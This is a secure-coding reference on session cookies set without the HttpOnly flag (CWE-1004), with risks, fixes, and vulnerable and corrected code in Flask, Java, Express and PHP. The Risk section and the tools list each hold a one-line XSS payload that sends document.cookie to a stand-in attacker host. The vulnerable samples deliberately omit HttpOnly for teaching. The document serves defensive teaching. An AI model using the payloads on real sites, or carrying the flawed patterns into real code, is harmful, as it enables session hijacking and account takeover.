Sensitive Cookie Without 'HttpOnly' Flag

Description

Sensitive Cookie Without 'HttpOnly' Flag occurs when a cookie containing sensitive information (such as session tokens) is created without the HttpOnly attribute. Without this flag, the cookie is accessible to client-side scripts through document.cookie. This makes the cookie vulnerable to theft through Cross-Site Scripting (XSS) attacks—if an attacker can execute JavaScript in the user's browser, they can steal the cookie and hijack the user's session.

Risk

Missing HttpOnly flag directly enables session hijacking through XSS. Even if XSS vulnerabilities are considered "mitigated," having HttpOnly provides defense in depth. JavaScript-accessible session cookies allow attackers to exfiltrate sessions with a single line of code: new Image().src='http://evil.com/steal?c='+document.cookie. Modern web applications face constant XSS threats from third-party scripts, browser extensions, and supply chain attacks. HttpOnly is a simple but critical defense layer.

Solution

Always set the HttpOnly flag on session cookies and other sensitive cookies. Use framework defaults that apply HttpOnly automatically. Combine HttpOnly with other cookie security attributes (Secure, SameSite). Implement Content Security Policy to reduce XSS risk. Audit all cookie-setting code for proper security attributes. Consider using cookie prefixes (__Host-, __Secure-) for additional protection. Store only references in cookies, not sensitive data directly.

Common Consequences

ImpactDetails
ConfidentialityScope: Cookie Theft

XSS attacks can read cookies without HttpOnly and send them to attacker-controlled servers.
Access ControlScope: Session Hijacking

Stolen session cookies enable attackers to impersonate authenticated users.
IntegrityScope: Account Compromise

Attackers with session access can modify user data and perform unauthorized actions.

Example Code + Solution Code

Vulnerable Code

# VULNERABLE: Cookie without HttpOnly
from flask import Flask, make_response

@app.route('/login')
def login():
    response = make_response('Logged in')
    # Missing HttpOnly - accessible via document.cookie
    response.set_cookie('session_id', session_id)
    return response

# VULNERABLE: Flask session without HttpOnly configuration
app = Flask(__name__)
# Default might not set HttpOnly
# SESSION_COOKIE_HTTPONLY not configured
// VULNERABLE: Servlet cookie without HttpOnly
@WebServlet("/login")
public class LoginServlet extends HttpServlet {

    protected void doPost(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {

        Cookie sessionCookie = new Cookie("SESSIONID", sessionId);
        sessionCookie.setSecure(true);
        // Missing: sessionCookie.setHttpOnly(true);

        response.addCookie(sessionCookie);
    }
}

// VULNERABLE: Older Java versions without HttpOnly support
// Manual header required
response.setHeader("Set-Cookie", "session=" + sessionId + "; Secure");
// HttpOnly not included!
// VULNERABLE: Express cookie without httpOnly
app.get('/login', (req, res) => {
    res.cookie('sessionToken', token, {
        secure: true
        // Missing: httpOnly: true
    });
    res.send('Logged in');
});

// VULNERABLE: Manual cookie without httpOnly
app.get('/set', (req, res) => {
    // Direct header - easy to forget httpOnly
    res.setHeader('Set-Cookie', `token=${token}; Secure; Path=/`);
    res.send('Set');
});

// VULNERABLE: Client-side cookie setting
// frontend.js
document.cookie = `preference=${value}; Secure`;
// Cannot set HttpOnly from JavaScript (by design)
// Sensitive data should never be in client-set cookies
// VULNERABLE: PHP cookie without httponly
<?php
setcookie('session', $session_id, time() + 3600, '/', '', true);
// 6th parameter (secure) is true, but httponly (7th) is missing

// VULNERABLE: PHP session without httponly
session_start();
// Default php.ini might not have session.cookie_httponly = 1
?>

Fixed Code

# SAFE: Cookie with HttpOnly flag
from flask import Flask, make_response

app = Flask(__name__)

# Configure session cookies
app.config.update(
    SESSION_COOKIE_HTTPONLY=True,    # HttpOnly flag
    SESSION_COOKIE_SECURE=True,      # Secure flag
    SESSION_COOKIE_SAMESITE='Lax'    # SameSite attribute
)

@app.route('/login')
def login():
    response = make_response('Logged in')
    response.set_cookie(
        'session_id',
        session_id,
        httponly=True,      # Not accessible via JavaScript
        secure=True,        # Only sent over HTTPS
        samesite='Lax',     # CSRF protection
        max_age=3600
    )
    return response

# SAFE: Using Flask-Login or similar
from flask_login import LoginManager

login_manager = LoginManager()
login_manager.session_protection = 'strong'
# Flask-Login handles secure cookie settings
// SAFE: Servlet cookie with HttpOnly
@WebServlet("/login")
public class SecureLoginServlet extends HttpServlet {

    protected void doPost(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {

        Cookie sessionCookie = new Cookie("SESSIONID", sessionId);
        sessionCookie.setSecure(true);      // Only HTTPS
        sessionCookie.setHttpOnly(true);    // No JavaScript access
        sessionCookie.setPath("/");
        sessionCookie.setMaxAge(3600);

        response.addCookie(sessionCookie);
    }
}

// SAFE: Spring Security cookie configuration
@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {

    @Bean
    public CookieSerializer cookieSerializer() {
        DefaultCookieSerializer serializer = new DefaultCookieSerializer();
        serializer.setUseHttpOnlyCookie(true);   // HttpOnly flag
        serializer.setUseSecureCookie(true);     // Secure flag
        serializer.setSameSite("Lax");           // SameSite attribute
        return serializer;
    }
}

// SAFE: Manual header with all attributes
response.setHeader("Set-Cookie",
    "session=" + sessionId +
    "; Secure" +
    "; HttpOnly" +           // HttpOnly included
    "; SameSite=Lax" +
    "; Path=/" +
    "; Max-Age=3600"
);
// SAFE: Express cookie with httpOnly
const express = require('express');
const cookieParser = require('cookie-parser');

app.use(cookieParser());

app.get('/login', (req, res) => {
    res.cookie('sessionToken', token, {
        httpOnly: true,     // Not accessible via JavaScript
        secure: true,       // Only sent over HTTPS
        sameSite: 'lax',    // CSRF protection
        maxAge: 3600000,    // 1 hour
        path: '/'
    });
    res.send('Logged in');
});

// SAFE: Express session with httpOnly
const session = require('express-session');

app.use(session({
    secret: process.env.SESSION_SECRET,
    resave: false,
    saveUninitialized: false,
    cookie: {
        httpOnly: true,     // Critical!
        secure: true,
        sameSite: 'strict',
        maxAge: 3600000
    }
}));

// SAFE: Cookie helper function
function setSecureCookie(res, name, value, options = {}) {
    const defaultOptions = {
        httpOnly: true,
        secure: process.env.NODE_ENV === 'production',
        sameSite: 'lax',
        maxAge: 3600000,
        path: '/'
    };

    res.cookie(name, value, { ...defaultOptions, ...options });
}

app.get('/login', (req, res) => {
    setSecureCookie(res, 'session', sessionId);
    res.send('Logged in');
});
// SAFE: PHP cookie with httponly
<?php
setcookie('session', $session_id, [
    'expires' => time() + 3600,
    'path' => '/',
    'secure' => true,      // HTTPS only
    'httponly' => true,    // No JavaScript
    'samesite' => 'Lax'    // CSRF protection
]);

// SAFE: PHP session configuration
// In php.ini or at runtime:
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 1);
ini_set('session.cookie_samesite', 'Lax');
ini_set('session.use_only_cookies', 1);

session_start();

// SAFE: Wrapper function
function secure_setcookie($name, $value, $expire = 0) {
    setcookie($name, $value, [
        'expires' => $expire ?: time() + 3600,
        'path' => '/',
        'secure' => true,
        'httponly' => true,
        'samesite' => 'Lax'
    ]);
}

secure_setcookie('auth_token', $token);
?>

Exploited in the Wild

Countless real-world attacks have combined XSS vulnerabilities with accessible session cookies. The MySpace Samy worm (2005) demonstrated large-scale cookie theft before HttpOnly was widely adopted.

Session Hijacking via Malicious Scripts

Third-party script compromises (Magecart attacks) have stolen session cookies from sites that didn't use HttpOnly, enabling mass session hijacking.

Browser Extension Attacks

Malicious browser extensions have been used to steal non-HttpOnly cookies from popular websites, affecting millions of users.


Tools to test/exploit

  • Browser DevTools — check cookie HttpOnly flag.

  • Burp Suite — analyze cookie attributes.

  • OWASP ZAP — scan for missing HttpOnly.

  • XSS payload: <script>new Image().src='http://attacker.com/steal?c='+document.cookie</script>


CVE Examples


References

  1. MITRE. "CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag." https://cwe.mitre.org/data/definitions/1004.html

  2. OWASP. "HttpOnly Cookie Attribute." https://owasp.org/www-community/HttpOnly